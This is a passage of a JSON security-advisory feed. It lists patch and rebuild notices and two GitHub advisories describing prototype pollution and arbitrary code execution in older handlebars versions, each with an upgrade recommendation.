3.0.5-tuxcare.4.","status":"published","published":"2026-10-27T11:51:11Z","modified":"2026-10-27T13:30:17.537780888Z","updated_at":"2026-11-02T15:43:55.34846Z"},{"id":"CLSA-2026-1793102041","title":"TuxCare security update for dompurify (11 CVEs)","description":"TuxCare rebuilt dompurify to address 11 CVEs. Fixed in 3.0.4-tuxcare.4.","status":"published","published":"2026-10-27T11:54:01Z","modified":"2026-10-27T13:30:18.443508774Z","updated_at":"2026-11-02T15:43:55.34846Z"},{"id":"GHSA-g9r4-xpmj-mj65","title":"Prototype Pollution in handlebars","description":"Versions of `handlebars` prior to 3.0.8 or 4.5.3 are vulnerable to prototype pollution. It is possible to add or modify properties to the Object prototype through a malicious template. This may allow attackers to crash the application or execute Arbitrary Code in specific conditions.\n\n\n## Recommendation\n\nUpgrade to version 3.0.8, 4.5.3 or later.","status":"published","published":"2020-09-04T15:06:32Z","modified":"2026-09-10T03:49:13.649783342Z","cwes":["CWE-1321"],"updated_at":"2026-11-02T15:46:47.472172Z"},{"id":"GHSA-q2c6-c6pm-g3gh","title":"Arbitrary Code Execution in handlebars","description":"Versions of `handlebars` prior to 3.0.8 or 4.5.3 are vulnerable to Arbitrary Code Execution. The package's lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript in the system. It is due to an incomplete fix for a [previous issue](https://www.npmjs.com/advisories/1316). This vulnerability can be used to run arbitrary code in a server processing Handlebars templates or on a victim's browser (effectively serving as Cross-Site Scripting).\n\n\n## Recommendation\n\nUpgrade to version 3.0.8, 4.5.3 or later.","status":"published","published":"2020-09-04T15:07:38Z","modified":"2026-09-10T03:48:58.277710865Z","updated_at":"2026-11-02T15:46:53.700556Z"},{"id":"ROOT-APP-NPM-CVE-2026-49458","title":"CVE-2026-49458 in dompurify - Patched by Root","description":"Root has patched CVE-2026-49458 in the dompurify package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-28T04:55:46Z","modified":"2026-10-28T05:15:02.849336285Z","updated_at":"2026-11-02T15:53:27.649662Z"},{"id":"ROOT-APP-NPM-GHSA-2cf5-4w76-r9qv","title":"GHSA-2cf5-4w76-r9qv in handlebars - Patched by Root","description":"Root has patched GHSA-2cf5-4w76-r9qv in the handlebars package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-20T10:47:36Z","modified":"2026-10-20T11:15:38.540557189Z","updated_at":"2026-11-02T15:53:27.940619Z"},{"id":"ROOT-APP-NPM-GHSA-g9r4-xpmj-mj65","title":"GHSA-g9r4-xpmj-mj65 in handlebars - Patched by Root","description":"Root has patched GHSA-g9r4-xpmj-mj65 in the handlebars package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-20T10:47:36Z","modified":"2026-10-20T11:15:39.391242933Z","updated_at":"2026-11-02T15:53:27.940619Z"},{"id":"ROOT-APP-NPM-GHSA-q2c6-c6pm-g3gh","title":"GHSA-q2c6-c6pm-g3gh in handlebars - Patched by Root","description":"Root has patched GHSA-q2c6-c6pm-g3gh in the handlebars package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-20T10:47:36Z","modified":"2026-10-20T11:15:37.928892011Z","updated_at":"2026-11-02T15:53:27.940619Z"},{"id":"ROOT-APP-NPM-GHSA-q42p-pg8m-cqh6","title":"GHSA-q42p-pg8m-cqh6 in handlebars - Patched by Root","description":"Root has patched GHSA-q42p-pg8m-cqh6 in the handlebars package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-20T10:47:36Z","modified":"2026-10-20T11:15:37.540463486Z","updated_at":"2026-11-02T15:53:27.940619Z"}]}}